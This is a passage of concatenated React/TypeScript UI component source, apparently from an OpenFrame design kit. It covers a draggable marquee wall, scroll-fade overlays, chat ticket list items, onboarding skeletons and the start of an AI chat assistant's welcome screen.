(draggingRef.current && !dragMovedRef.current) draggingRef.current = false;\n    },\n    [onPointerLeave],\n  );\n\n  const onDragClickCapture = useCallback((e: MouseEvent) => {\n    if (suppressClickRef.current) {\n      suppressClickRef.current = false;\n      e.preventDefault();\n      e.stopPropagation();\n    }\n  }, []);\n\n  // Along-axis wheel → move the wall. Wired as a NATIVE non-passive listener\n  // (not React's `onWheel`, which React attaches passively so `preventDefault`\n  // is a no-op): once WE consume an along-axis wheel we must `preventDefault` to\n  // suppress the browser's horizontal history-swipe (two-finger trackpad) on an\n  // x-wall. An x-wall ignores vertical page-scroll wheels (and vice-versa) so the\n  // surrounding page still scrolls normally.\n  useEffect(() => {\n    const el = containerRef.current;\n    if (!el || !dragScroll || !marqueeMounted) return undefined;\n    const onWheel = (e: WheelEvent) => {\n      // Only claim the DOMINANT-axis wheel (per axis), so a cross-axis wheel\n      // still scrolls the page: an x-wall ignores vertical wheels, a y-wall\n      // ignores horizontal ones.\n      const primary =\n        axis === 'y'\n          ? Math.abs(e.deltaY) >= Math.abs(e.deltaX)\n            ? e.deltaY\n            : 0\n          : Math.abs(e.deltaX) >= Math.abs(e.deltaY)\n            ? e.deltaX\n            : 0;\n      if (primary === 0) return;\n      e.preventDefault();\n      // Via `applyPos` (not raw `applyTransform`) so synced peer walls follow.\n      posRef.current = wrap(posRef.current + (reverse ? -primary : primary));\n      applyPos(posRef.current);\n      dragSuppressUntilRef.current = performance.now() + DRAG_RESUME_MS;\n    };\n    el.addEventListener('wheel', onWheel, { passive: false });\n    return () => el.removeEventListener('wheel', onWheel);\n  }, [dragScroll, marqueeMounted, axis, reverse, wrap, posRef, applyPos]);\n\n  // ---- render ----------------------------------------------------------------\n  const renderContent = (isClone: boolean) => (typeof children === 'function' ? children({ isClone }) : children);\n\n  // Reduced-motion static fallback: when the marquee does NOT mount (chiefly\n  // prefers-reduced-motion) but the content OVERFLOWS, the drag/transform path\n  // is inert — so on a `dragScroll` wall fall back to NATIVE\n  // overflow scroll along the axis. Otherwise the overflowing chips would be\n  // clipped by `overflow-hidden` with no way to reach them (a11y regression vs\n  // the old wrapping row). The scrollbar itself stays hidden (`scrollbar-hide`)\n  // so the static wall matches the marquee's chrome-free look — native wheel\n  // and touch scrolling still work (the transform-based drag path is gated on\n  // `marqueeMounted`, so pointer drag is marquee-only). No engine needed — the\n  // browser scrolls the single static track.\n  const staticScrollable = dragScroll && overflows && !marqueeMounted;\n\n  return (\n    <div\n      ref={containerRef}\n      className={cn(\n        'relative',\n        staticScrollable ? (axis === 'y' ? 'overflow-y-auto' : 'overflow-x-auto') : 'overflow-hidden',\n        staticScrollable && 'scrollbar-hide',\n        dragScroll && marqueeMounted && 'cursor-grab select-none active:cursor-grabbing',\n        className,\n      )}\n      // x-walls let vertical page-scroll pass (`pan-y`) and own horizontal\n      // drags; y-walls the reverse. Only when drag is actually live.\n      style={dragScroll && marqueeMounted ? { touchAction: axis === 'y' ? 'pan-x' : 'pan-y' } : undefined}\n      data-marquee-track={trackId}\n      onPointerEnter={onPointerEnter}\n      onPointerLeave={dragScroll ? onDragPointerLeave : onPointerLeave}\n      onPointerDown={dragScroll ? onDragPointerDown : undefined}\n      onPointerMove={dragScroll ? onDragPointerMove : undefined}\n      onPointerUp={dragScroll ? onDragPointerUp : undefined}\n      onPointerCancel={dragScroll ? onDragPointerUp : undefined}\n      onClickCapture={dragScroll ? onDragClickCapture : undefined}\n    >\n      <div\n        ref={trackRef}\n        className={cn(\n          axis === 'y' ? 'flex w-full flex-col' : 'flex w-max items-stretch',\n          // Keyed on the STRUCTURAL state so the compositor layer + seam gap\n          // stay put while the wall is frozen (paused) — dropping them on pause\n          // would repaint the frozen track and re-promote it on resume.\n          marqueeMounted && 'will-change-transform',\n        )}\n        style={marqueeMounted ? { gap: copyGap } : undefined}\n      >\n        <div\n          ref={copyRef}\n          data-marquee-copy=\"primary\"\n          className={cn(axis === 'x' && 'w-max shrink-0', contentClassName)}\n          style={contentStyle}\n        >\n          {renderContent(false)}\n        </div>\n        {marqueeMounted && (\n          <CloneCopy className={cn(axis === 'x' && 'w-max shrink-0', contentClassName)} style={contentStyle}>\n            {renderContent(true)}\n          </CloneCopy>\n        )}\n      </div>\n      {/* A fade means \"there's more\": it only paints while the content\n          actually overflows the container. A wall taller than its content\n          (e.g. a flex-filled panel) must show every chip crisp — a veil over\n          real rows and empty surface reads as a rendering bug. Plain mode\n          skips fades entirely (the consumer opted out of blur + marquee). */}\n      {mode === 'animated' && overflows && <MarqueeWallFades fade={fade} fadeColor={fadeColor} fadeSize={fadeSize} />}\n    </div>\n  );\n}\n","'use client';\n\nimport { type HTMLAttributes, forwardRef } from 'react';\nimport { cn } from '../../utils/cn';\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade';\nimport { ChatTicketItem, type ChatTicketItemData } from './entity-cards/chat-ticket-item';\n\nexport interface ChatTicketListProps extends HTMLAttributes<HTMLDivElement> {\n  tickets: ChatTicketItemData[];\n  onTicketClick?: (ticketId: string) => void;\n  /** Show skeleton placeholder rows instead of tickets while loading. */\n  isLoading?: boolean;\n  /** Number of skeleton rows rendered while `isLoading`. Defaults to 5. */\n  skeletonCount?: number;\n}\n\nconst ChatTicketList = forwardRef<HTMLDivElement, ChatTicketListProps>(\n  ({ className, tickets, onTicketClick, isLoading = false, skeletonCount = 5, ...props }, ref) => {\n    // Shared scroll-shadow tracking (ui/scroll-fade) — re-measures on resize\n    // and content changes, so no manual ticket-count effect is needed.\n    const { scrollRef, fadeTop, fadeBottom, update: updateFade } = useScrollFade<HTMLDivElement>();\n\n    if (isLoading) {\n      return (\n        <div ref={ref} className={cn('flex min-h-0 flex-col gap-2', className)} {...props}>\n          <p className=\"shrink-0 text-ods-text-secondary text-h5\">Your Chats:</p>\n          <div className=\"min-h-0 flex-1 overflow-hidden rounded-md border border-ods-border\">\n            {Array.from({ length: skeletonCount }).map((_, i) => (\n              <ChatTicketItem key={i} isLoading />\n            ))}\n          </div>\n        </div>\n      );\n    }\n\n    if (tickets.length === 0) return null;\n\n    return (\n      <div ref={ref} className={cn('flex min-h-0 flex-col gap-2', className)} {...props}>\n        <p className=\"shrink-0 text-ods-text-secondary text-h5\">Your Chats:</p>\n        <div\n          className={cn(\n            'relative min-h-0 flex-1 overflow-hidden border-x border-ods-border',\n            !fadeTop && 'rounded-t-md border-t',\n            !fadeBottom && 'rounded-b-md border-b',\n          )}\n        >\n          <div ref={scrollRef} className=\"h-full overflow-y-auto overscroll-contain\" onScroll={updateFade}>\n            {tickets.map(ticket => (\n              <ChatTicketItem key={ticket.id} ticket={ticket} onClick={onTicketClick} />\n            ))}\n          </div>\n\n          {/* Scroll-fade overlays — tinted with the page background so edge\n              tickets fade into the surface behind the list in BOTH themes\n              (`--color-bg` flips with `data-theme`). Shared ui/scroll-fade. */}\n          <ScrollFadeOverlay edge=\"top\" visible={fadeTop} />\n          <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} />\n        </div>\n      </div>\n    );\n  },\n);\n\nChatTicketList.displayName = 'ChatTicketList';\n\nexport { ChatTicketList };\nexport type { ChatTicketItemData };\n","'use client';\n\nimport { type HTMLAttributes, type ReactNode, useCallback, useLayoutEffect, useRef, useState } from 'react';\nimport { cn } from '../../utils/cn';\n\nexport type ScrollFadeAxis = 'vertical' | 'horizontal' | 'both';\n\n/**\n * Tracks whether a scrollable element is scrolled away from its edges, so\n * edge fades (\"scroll shadows\") can be shown only where content continues.\n * Attach `scrollRef` to the scrollable element and `update` to its\n * `onScroll`; content/size changes are re-measured via ResizeObserver.\n *\n * `axis` picks which edges are tracked: 'vertical' (top/bottom — default,\n * matches the original hook), 'horizontal' (left/right), or 'both'.\n *\n * Canonical fade pattern shared by chat lists, FilterModal, and the\n * `ScrollShadow` wrapper below.\n */\nexport function useScrollFade<T extends HTMLElement = HTMLDivElement>(axis: ScrollFadeAxis = 'vertical') {\n  const scrollRef = useRef<T | null>(null);\n  const [fade, setFade] = useState({ top: false, bottom: false, left: false, right: false });\n\n  const update = useCallback(() => {\n    const el = scrollRef.current;\n    if (!el) return;\n    setFade(prev => {\n      const vertical = axis !== 'horizontal';\n      const horizontal = axis !== 'vertical';\n      const top = vertical && el.scrollTop > 0;\n      const bottom = vertical && el.scrollHeight - el.scrollTop - el.clientHeight > 1;\n      const left = horizontal && el.scrollLeft > 0;\n      const right = horizontal && el.scrollWidth - el.scrollLeft - el.clientWidth > 1;\n      return prev.top === top && prev.bottom === bottom && prev.left === left && prev.right === right\n        ? prev\n        : { top, bottom, left, right };\n    });\n  }, [axis]);\n\n  useLayoutEffect(() => {\n    update();\n    const el = scrollRef.current;\n    if (!el) return undefined;\n    const cleanups: Array<() => void> = [];\n    if (typeof ResizeObserver !== 'undefined') {\n      const resizeObserver = new ResizeObserver(update);\n      resizeObserver.observe(el);\n      cleanups.push(() => resizeObserver.disconnect());\n    }\n    // ResizeObserver only sees the container box; content growth (appended\n    // list items) changes scrollHeight without resizing it — watch mutations.\n    if (typeof MutationObserver !== 'undefined') {\n      const mutationObserver = new MutationObserver(update);\n      mutationObserver.observe(el, { childList: true, subtree: true, characterData: true });\n      cleanups.push(() => mutationObserver.disconnect());\n    }\n    return () => {\n      for (const cleanup of cleanups) cleanup();\n    };\n  }, [update]);\n\n  return {\n    scrollRef,\n    fadeTop: fade.top,\n    fadeBottom: fade.bottom,\n    fadeLeft: fade.left,\n    fadeRight: fade.right,\n    update,\n  };\n}\n\nexport type ScrollFadeEdge = 'top' | 'bottom' | 'left' | 'right';\n\nexport interface ScrollFadeOverlayProps {\n  /** Which edge of the scroll container the fade sits on. */\n  edge: ScrollFadeEdge;\n  /** Whether the fade is currently shown (content continues past this edge). */\n  visible: boolean;\n  /**\n   * CSS color the content fades into — should match the surface behind the\n   * list. Defaults to the page background token, which is theme-aware (the\n   * light theme redefines the token, so the fade flips with it).\n   */\n  color?: string;\n  className?: string;\n}\n\nconst EDGE_GRADIENT_ANGLE: Record<ScrollFadeEdge, string> = {\n  top: '0deg',\n  bottom: '180deg',\n  left: '270deg',\n  right: '90deg',\n};\n\n/**\n * Edge overlay that fades scrollable content into the surface behind it.\n * Render inside a `relative` wrapper around the scrollable element.\n * Vertical fades are 64px tall (legacy chat/FilterModal size); horizontal\n * fades are 40px wide per the ODS \"scroll gradient\" spec.\n */\nexport function ScrollFadeOverlay({ edge, visible, color = 'var(--color-bg)', className }: ScrollFadeOverlayProps) {\n  const isVertical = edge === 'top' || edge === 'bottom';\n  return (\n    <div\n      aria-hidden\n      className={cn(\n        'pointer-events-none absolute transition-opacity duration-150',\n        isVertical ? 'inset-x-0 h-16' : 'inset-y-0 w-10',\n        edge === 'top' && 'top-0',\n        edge === 'bottom' && 'bottom-0',\n        edge === 'left' && 'left-0',\n        edge === 'right' && 'right-0',\n        visible ? 'opacity-100' : 'opacity-0',\n        className,\n      )}\n      style={{\n        background: `linear-gradient(${EDGE_GRADIENT_ANGLE[edge]}, transparent 0%, ${color} 100%)`,\n      }}\n    />\n  );\n}\n\nexport interface ScrollShadowProps extends HTMLAttributes<HTMLDivElement> {\n  /** Which scroll direction(s) to track and fade. */\n  axis?: ScrollFadeAxis;\n  /**\n   * CSS color of the fade — the surface the content visually sits on.\n   * Defaults to the page background token; pass e.g. `var(--color-bg-card)`\n   * when the scrollable sits on a card. Tokens are theme-aware, so the same\n   * component works in light and dark themes (dark by default).\n   */\n  color?: string;\n  /** Classes for the inner scrollable element (heights, paddings, etc.). */\n  scrollClassName?: string;\n  /** Extra classes for every fade overlay (e.g. custom size). */\n  overlayClassName?: string;\n  children: ReactNode;\n}\n\n/**\n * Drop-in wrapper that makes its child scrollable and fades the edges where\n * more content exists — right/left for horizontal overflow (wide tables),\n * top/bottom for vertical (long lists). Fades appear and hide automatically\n * as the user scrolls or the content resizes.\n *\n * ```tsx\n * <ScrollShadow axis=\"horizontal\">\n *   <WideTable />\n * </ScrollShadow>\n * ```\n */\nexport function ScrollShadow({\n  axis = 'vertical',\n  color = 'var(--color-bg)',\n  className,\n  scrollClassName,\n  overlayClassName,\n  children,\n  ...rest\n}: ScrollShadowProps) {\n  const { scrollRef, fadeTop, fadeBottom, fadeLeft, fadeRight, update } = useScrollFade<HTMLDivElement>(axis);\n  const vertical = axis !== 'horizontal';\n  const horizontal = axis !== 'vertical';\n\n  return (\n    <div className={cn('relative', className)} {...rest}>\n      <div\n        ref={scrollRef}\n        onScroll={update}\n        className={cn(horizontal && 'overflow-x-auto', vertical && 'overflow-y-auto', scrollClassName)}\n      >\n        {children}\n      </div>\n      {vertical && <ScrollFadeOverlay edge=\"top\" visible={fadeTop} color={color} className={overlayClassName} />}\n      {vertical && <ScrollFadeOverlay edge=\"bottom\" visible={fadeBottom} color={color} className={overlayClassName} />}\n      {horizontal && <ScrollFadeOverlay edge=\"left\" visible={fadeLeft} color={color} className={overlayClassName} />}\n      {horizontal && <ScrollFadeOverlay edge=\"right\" visible={fadeRight} color={color} className={overlayClassName} />}\n    </div>\n  );\n}\n","'use client';\n\nimport { ChevronRight } from 'lucide-react';\nimport { type ButtonHTMLAttributes, forwardRef } from 'react';\nimport { cn } from '../../../utils/cn';\nimport { WrenchIcon } from '../../icons-v2-generated/household/wrench-icon';\nimport { Skeleton } from '../../ui/skeleton';\nimport { Tag } from '../../ui/tag';\nimport { TicketStatusTag, resolveStatusTagProps, resolveTicketStatus } from '../../ui/ticket-status-tag';\n\nexport interface ChatTicketItemData {\n  id: string;\n  title: string;\n  ticketNumber: string;\n  /** Accepts any known ticket status format (ACTIVE, active, ACTION_REQUIRED, etc.) */\n  status: string;\n  /** Optional badge label override. If set, the badge text reads this\n   *  (e.g. HubSpot's `pipeline_stage_label` — \"New\" / \"Closed\" /\n   *  \"Waiting on contact\" / \"Waiting on version release\") while the\n   *  variant + check icon still come from the canonical `status`.\n   *  When omitted, the canonical status's default label is used\n   *  (\"Resolved\" for closed, \"Active\" for open, etc.). */\n  statusLabel?: string;\n  /** Lifecycle (custom-status) kind — drives canonical-vs-color styling. */\n  statusKind?: string;\n  /** Lifecycle (custom-status) hex color, used when the kind isn't canonical. */\n  statusColor?: string;\n  category?: string;\n  timeAgo?: string;\n  /** Explicit secondary line under the title. When set, it replaces the\n   *  default `ticketNumber • category • timeAgo` composition verbatim, so\n   *  the host decides how the reference reads - the Fae client passes\n   *  `Ticket Number: 165 • 6m ago` (reference labelled but visually\n   *  secondary). An empty string hides the line. */\n  subtitle?: string;\n  /** The ticket has activity the customer has not opened yet\n   *  (Figma fae-chat 1-5592): the secondary line and the chevron switch to\n   *  the brand yellow, and the line reads the unread notice unless\n   *  `subtitle` overrides it. The host clears it once the ticket is\n   *  opened, and the reference line comes back. */\n  unread?: boolean;\n  /** When set, renders a \"Linked work\" chip with a wrench icon next to\n   *  the status tag — tells the customer at a glance that an internal\n   *  delivery task is in flight for this ticket, even before they\n   *  expand the row. The label is the linked task's status (e.g.\n   *  \"Waiting on version release\") so the chip carries the actual\n   *  progress signal, not just a generic marker. */\n  linkedTaskLabel?: string;\n}\n\nexport interface ChatTicketItemProps extends Omit<ButtonHTMLAttributes<HTMLButtonElement>, 'onClick'> {\n  /** Optional while `isLoading` — the skeleton placeholder needs no data. */\n  ticket?: ChatTicketItemData;\n  onClick?: (ticketId: string) => void;\n  /** Render a non-interactive skeleton placeholder sized to a real row. */\n  isLoading?: boolean;\n}\n\nconst UNREAD_NOTICE = 'You have a new unread message';\n\nconst ChatTicketItem = forwardRef<HTMLButtonElement, ChatTicketItemProps>(\n  ({ className, ticket, onClick, isLoading = false, ...props }, ref) => {\n    if (isLoading) {\n      return (\n        <div\n          aria-hidden\n          className={cn(\n            'flex h-20 w-full items-center gap-4 px-4',\n            'border-b border-ods-border bg-ods-card',\n            className,\n          )}\n        >\n          <div className=\"flex min-w-0 flex-1 flex-col justify-center gap-1\">\n            {/* title line */}\n            <Skeleton className=\"h-5 w-1/2\" />\n            {/* subtitle line */}\n            <Skeleton className=\"h-4 w-1/3\" />\n          </div>\n          {/* status tag */}\n          <Skeleton className=\"h-8 w-20 shrink-0 rounded-r-md\" />\n          {/* chevron box */}\n          <Skeleton className=\"size-12 shrink-0 rounded-md\" />\n        </div>\n      );\n    }\n\n    if (!ticket) return null;\n\n    const statusTagProps = resolveStatusTagProps({\n      status: ticket.status,\n      statusKind: ticket.statusKind,\n      statusName: ticket.statusLabel,\n      statusColor: ticket.statusColor,\n    });\n    const isResolved = ticket.statusKind === 'RESOLVED' || resolveTicketStatus(ticket.status) === 'RESOLVED';\n\n    const composedSubtitle = [ticket.ticketNumber, ticket.category, ticket.timeAgo].filter(Boolean).join(' \\u2022 ');\n    const subtitle = ticket.subtitle ?? (ticket.unread ? UNREAD_NOTICE : composedSubtitle);\n\n    return (\n      <button\n        ref={ref}\n        type=\"button\"\n        onClick={() => onClick?.(ticket.id)}\n        className={cn(\n          'flex h-20 w-full items-center gap-4 px-4',\n          'border-b border-ods-border bg-ods-card',\n          'cursor-pointer transition-colors duration-150',\n          'hover:bg-ods-bg-hover',\n          // `focus-visible:` covers keyboard nav AND the post-click state\n          // jsdom/Chromium leave behind. Without it, the global focus\n          // ring (1.5px white) renders as a stray \"white border\" after\n          // clicking a row.\n          'focus:bg-ods-bg-hover focus:outline-none',\n          'focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent',\n          className,\n        )}\n        {...props}\n      >\n        <div className=\"flex min-w-0 flex-1 flex-col justify-center text-left\">\n          <p\n            className={cn('truncate text-h3', isResolved ? 'text-ods-text-secondary' : 'text-ods-text-primary')}\n            title={ticket.title}\n          >\n            {ticket.title}\n          </p>\n          {subtitle && (\n            <p\n              className={cn('truncate text-h6', ticket.unread ? 'text-ods-open-yellow' : 'text-ods-text-secondary')}\n              title={subtitle}\n            >\n              {subtitle}\n            </p>\n          )}\n        </div>\n\n        {/* Linked-work chip — only renders when the ticket has a\n            linked ClickUp delivery. Wrench icon + lowercase status\n            from the linked task. Rendered to the LEFT of the status\n            tag so the canonical ticket status still wins the\n            right-aligned slot. Hidden on small screens (sm:flex) to\n            avoid crowding the row when both badges are present. */}\n        {ticket.linkedTaskLabel && (\n          <Tag\n            label={ticket.linkedTaskLabel}\n            variant=\"outline\"\n            icon={<WrenchIcon size={14} color=\"var(--color-text-secondary)\" />}\n            className=\"hidden shrink-0 sm:inline-flex\"\n          />\n        )}\n        {(statusTagProps.status || statusTagProps.label) && <TicketStatusTag {...statusTagProps} />}\n\n        <div\n          data-testid=\"chat-ticket-item-chevron\"\n          className={cn(\n            'flex size-12 shrink-0 items-center justify-center rounded-md border',\n            ticket.unread ? 'border-ods-open-yellow bg-ods-open-yellow' : 'border-ods-border bg-ods-card',\n          )}\n        >\n          <ChevronRight\n            className={cn('size-6', ticket.unread ? 'text-ods-text-on-accent' : 'text-ods-text-secondary')}\n          />\n        </div>\n      </button>\n    );\n  },\n);\n\nChatTicketItem.displayName = 'ChatTicketItem';\n\nexport { ChatTicketItem };\n","'use client';\n\nimport { cn } from '../../utils/cn';\nimport { Skeleton } from '../ui/skeleton';\n\nexport interface MingoOnboardingCardSkeletonProps {\n  /** Title bar width — Tailwind width utility. Defaults to `w-32`. Vary\n   *  per row in the list skeleton so the stack doesn't look uniform. */\n  titleWidth?: string;\n  /** Slash-command bar width — Tailwind width utility. Defaults to `w-20`. */\n  slashWidth?: string;\n  /** Description lines (1 or 2). Defaults to 2 — matches the typical\n   *  card from Figma node `7363:205938`. */\n  descriptionLines?: 1 | 2;\n  /** Chip widths for the action row. Defaults to mirror the\n   *  `Recent / Search / Find` triad from the live cards. Pass an\n   *  empty array to hide the chip row entirely (matches `actions: []`). */\n  chipWidths?: ReadonlyArray<string>;\n  /** Optional className appended to the root cell. */\n  className?: string;\n}\n\n/**\n * 1:1 skeleton placeholder for `MingoOnboardingCard` (Figma node\n * `7363:205939`).\n *\n * Mirrors the live card's outer structure pixel-for-pixel:\n *   - `p-[var(--spacing-system-s)]` cell, `bg-ods-card`,\n *     `border-b border-ods-border last:border-b-0` divider\n *   - `size-4` icon slot, `text-h6`-tall title bar + right-aligned\n *     slash-command bar\n *   - 1–2 description lines using `text-h6`-tall bars\n *   - `h-7` outline-chip placeholders matching the card's action row\n *\n * Render multiple inside a `rounded-md border border-ods-border\n * overflow-hidden` container so the bottom-border on each row forms\n * a 1-px divider, identical to how the live list stacks.\n */\nexport function MingoOnboardingCardSkeleton({\n  titleWidth = 'w-32',\n  slashWidth = 'w-20',\n  descriptionLines = 2,\n  chipWidths = ['w-16', 'w-16', 'w-12'],\n  className,\n}: MingoOnboardingCardSkeletonProps) {\n  const hasChips = chipWidths.length > 0;\n  return (\n    <div\n      className={cn(\n        'flex w-full items-start border-b border-ods-border bg-ods-card p-[var(--spacing-system-s)] last:border-b-0',\n        className,\n      )}\n    >\n      <div className=\"flex w-full flex-col gap-[var(--spacing-system-xxs)]\">\n        {/* Title row — icon + title bar + right-rail slash bar. */}\n        <div className=\"flex w-full items-center gap-[var(--spacing-system-xxs)]\">\n          <Skeleton className=\"size-4 shrink-0 rounded-sm\" />\n          <Skeleton className={cn('h-3.5 rounded-sm', titleWidth)} />\n          <span className=\"flex-1\" />\n          <Skeleton className={cn('h-3.5 shrink-0 rounded-sm', slashWidth)} />\n        </div>\n        {/* Description — 1 or 2 lines; second line is 70% so the\n         *  ragged edge mimics natural text wrapping. */}\n        <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n          <Skeleton className=\"h-3.5 w-full rounded-sm\" />\n          {descriptionLines === 2 ? <Skeleton className=\"h-3.5 w-[70%] rounded-sm\" /> : null}\n        </div>\n        {/* Action chip row — `h-7` matches the live card's outline\n         *  chips so the skeleton sits at exactly the same height. */}\n        {hasChips ? (\n          <div className=\"mt-[var(--spacing-system-xs)] flex flex-wrap items-center gap-[var(--spacing-system-xxs)]\">\n            {chipWidths.map((w, i) => (\n              <Skeleton key={i} className={cn('h-7 rounded-md', w)} />\n            ))}\n          </div>\n        ) : null}\n      </div>\n    </div>\n  );\n}\n\nexport interface MingoOnboardingListSkeletonProps {\n  /** Row count. Defaults to 6 — fills the typical empty-state\n   *  viewport so the loader doesn't pop in shorter than the resolved\n   *  list. */\n  rows?: number;\n  /** Optional className appended to the rounded outer container. */\n  className?: string;\n}\n\n/**\n * Stack of `MingoOnboardingCardSkeleton` rows wrapped in the same\n * `rounded-md border overflow-hidden` shell the live empty-state\n * list uses. Drop-in replacement for the resolved card list while\n * `/api/docs/commands` is in-flight.\n *\n * Row widths cycle through a deterministic palette so the stack\n * doesn't look uniform but also doesn't shift between renders.\n */\n/**\n * Deterministic per-row width variation so the skeleton stack feels\n * like a real, irregular list. Cycled by index — same input renders\n * the same output, no `Math.random` jitter on re-mount.\n *\n * Widths picked to approximate the live `/api/docs/commands` payload:\n *   - titles range from short (\"Webinars\") to long\n *     (\"OpenFrame Pull Requests\")\n *   - slashes range from `/docs` to `/getting-started`\n */\nconst ROW_VARIANTS: ReadonlyArray<{\n  titleWidth: string;\n  slashWidth: string;\n  descriptionLines: 1 | 2;\n}> = [\n  { titleWidth: 'w-32', slashWidth: 'w-20', descriptionLines: 2 },\n  { titleWidth: 'w-28', slashWidth: 'w-16', descriptionLines: 2 },\n  { titleWidth: 'w-40', slashWidth: 'w-24', descriptionLines: 2 },\n  { titleWidth: 'w-44', slashWidth: 'w-28', descriptionLines: 2 },\n  { titleWidth: 'w-36', slashWidth: 'w-24', descriptionLines: 1 },\n  { titleWidth: 'w-24', slashWidth: 'w-16', descriptionLines: 2 },\n];\n\nexport function MingoOnboardingListSkeleton({ rows = 6, className }: MingoOnboardingListSkeletonProps) {\n  return (\n    <div\n      role=\"status\"\n      aria-label=\"Loading slash commands\"\n      aria-busy=\"true\"\n      className={cn('overflow-hidden rounded-md border border-ods-border bg-ods-card', className)}\n    >\n      {Array.from({ length: rows }).map((_, i) => {\n        const variant = ROW_VARIANTS[i % ROW_VARIANTS.length];\n        return (\n          <MingoOnboardingCardSkeleton\n            key={i}\n            titleWidth={variant.titleWidth}\n            slashWidth={variant.slashWidth}\n            descriptionLines={variant.descriptionLines}\n          />\n        );\n      })}\n    </div>\n  );\n}\n","'use client';\n\nimport { type ReactNode, useCallback, useMemo, useState } from 'react';\nimport { useIsHydrated } from '../../hooks/ui/use-is-hydrated';\nimport { cn } from '../../utils/cn';\nimport { MingoIcon } from '../icons';\nimport { CompassIcon, Arrow01DownIcon, AlertCircleIcon, Refresh01RightIcon } from '../icons-v2-generated';\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon';\nimport { Button } from '../ui/button';\nimport { ScrollFadeOverlay, useScrollFade } from '../ui/scroll-fade';\nimport { MingoChatHistorySkeleton } from './mingo-chat-history';\nimport { QuickActionChipButton } from './quick-action-chip';\nimport { QuickActionWall } from './quick-action-wall';\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** \"New to OpenFrame?\" one-time notification config. `null` hides the card. */\nexport interface MingoWelcomePromo {\n  title: ReactNode;\n  description: ReactNode;\n}\n\n/** Extra quick-action chip rendered after the built-in \"Start Guide Chat\". */\nexport interface MingoQuickAction {\n  /** Stable React key. */\n  id: string;\n  label: string;\n  icon?: ReactNode;\n  /** `'primary'` = accent (yellow) chip, `'outline'` = bordered chip. */\n  variant?: 'primary' | 'outline';\n  onClick?: () => void;\n  /** Full prompt text previewed as ghost text in the composer on hover/focus.\n   *  The chip `label` is short; this reveals what the action will actually ask.\n   *  Omitted → falls back to `label`. */\n  prompt?: string;\n}\n\nexport interface MingoWelcomeProps {\n  /** Greeting heading. Defaults to `Hey, I'm Mingo`. */\n  title?: ReactNode;\n  /** Greeting sub-line under the heading. */\n  subtitle?: ReactNode;\n  /** One-time \"New to OpenFrame?\" notification below the grid. `null` hides\n   *  it; omitting falls back to the OpenFrame default (only rendered when\n   *  `onStartGuideChat` is wired, i.e. Guide mode exists to advertise). */\n  promo?: MingoWelcomePromo | null;\n  /** Storage key used to remember the promo dismissal. */\n  promoStorageKey?: string;\n  /** Where the dismissal is persisted. `'local'` (default) survives across\n   *  sessions; `'session'` clears when the tab closes. */\n  promoStorage?: 'local' | 'session';\n  /** Extra quick-action chips appended after the \"Start Guide Chat\" chip. */\n  quickActions?: ReadonlyArray<MingoQuickAction>;\n  /** Pointer/keyboard focus enters a quick-action chip — e.g. preview the\n   *  action's full `prompt` in the composer input. */\n  onQuickActionHover?: (action: MingoQuickAction) => void;\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onQuickActionHoverEnd?: () => void;\n  /** Returning-user variation: the user already has chats. Hides the\n   *  \"New to OpenFrame?\" notification entirely and renders the \"Start Guide\n   *  Chat\" chip in the muted `outline` style instead of the accent yellow. */\n  hasExistingChats?: boolean;\n  /** Returning-user main content — when provided (typically a\n   *  `<MingoChatHistory>`), it replaces the greeting + feature grid and owns\n   *  its own scroll region. The chips below stay pinned. */\n  dialogHistory?: ReactNode;\n  /** True while the FIRST page of dialogs is still loading and we don't yet\n   *  know if the user is new or returning. Renders a history skeleton in place\n   *  of both the greeting+grid and the history, so the empty state doesn't\n   *  flash the new-user layout before the list arrives. Ignored once\n   *  `dialogHistory` is provided. */\n  isLoadingHistory?: boolean;\n  /** The dialog-list load FAILED (e.g. backend down) and there's nothing\n   *  cached. Renders an error + retry block in place of the new-user empty\n   *  state (which would otherwise misleadingly advertise Guide). Takes\n   *  priority over `isLoadingHistory`. Ignored once `dialogHistory` is set. */\n  loadError?: boolean;\n  /** Retry handler for the `loadError` state. */\n  onRetry?: () => void;\n  /** When provided, renders the \"Start Guide Chat\" chip (the only wired\n   *  action — switches the host chat to Guide mode) and enables the default\n   *  promo notification. When omitted, both are suppressed. */\n  onStartGuideChat?: () => void;\n  /** Agent this empty state belongs to — forwarded to the quick-action\n   *  {@link QuickActionWall} so a built-in agent (`'fae'`/`'mingo'`) caps the\n   *  brick stack at 2 rows. Defaults to `'mingo'` (this is the Mingo surface). */\n  agentSlug?: string;\n  /** Appended to the root element. */\n  className?: string;\n}\n\n// =============================================================================\n// Defaults (OpenFrame copy — overridable per Core Rule: platform-agnostic kit)\n// =============================================================================\n\nconst DEFAULT_SUBTITLE = 'Ready to help with your technical tasks. What can I do for you?';\n\nconst DEFAULT_PROMO: MingoWelcomePromo = {\n  title: 'New to OpenFrame?',\n  description: 'Start a Guide Chat to learn how it works and how to set it up.',\n};\n\nconst DEFAULT_PROMO_STORAGE_KEY = 'mingo-welcome:promo-dismissed';\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * MingoWelcome — Figma node `113:69208`.\n *\n * Default (Mingo-mode) chat empty state: a vertically-centred greeting that\n * grows to fill available height, then a pinned stack of an optional one-time\n * \"New to OpenFrame?\" notification and a quick-action chip row. The Guide-mode\n * empty state keeps the slash-command onboarding list.\n *\n * Content is configurable (props) with OpenFrame defaults so the kit stays\n * platform-agnostic. The \"Start Guide Chat\" chip is the only wired action —\n * it switches the host chat to Guide mode via `onStartGuideChat`. The\n * notification carries no action; its dismiss \"X\" persists to local/session\n * storage so it shows only until the user closes it once.\n */\nexport function MingoWelcome({\n  title,\n  subtitle = DEFAULT_SUBTITLE,\n  promo,\n  promoStorageKey = DEFAULT_PROMO_STORAGE_KEY,\n  promoStorage = 'local',\n  quickActions,\n  onQuickActionHover,\n  onQuickActionHoverEnd,\n  hasExistingChats = false,\n  dialogHistory,\n  isLoadingHistory = false,\n  loadError = false,\n  onRetry,\n  onStartGuideChat,\n  agentSlug = 'mingo',\n  className,\n}: MingoWelcomeProps) {\n  // Greeting never weaves the user's name in — always the plain \"Hey, I'm\n  // Mingo\" (design node 113:69208). A host `title` override still wins.\n  const heading = 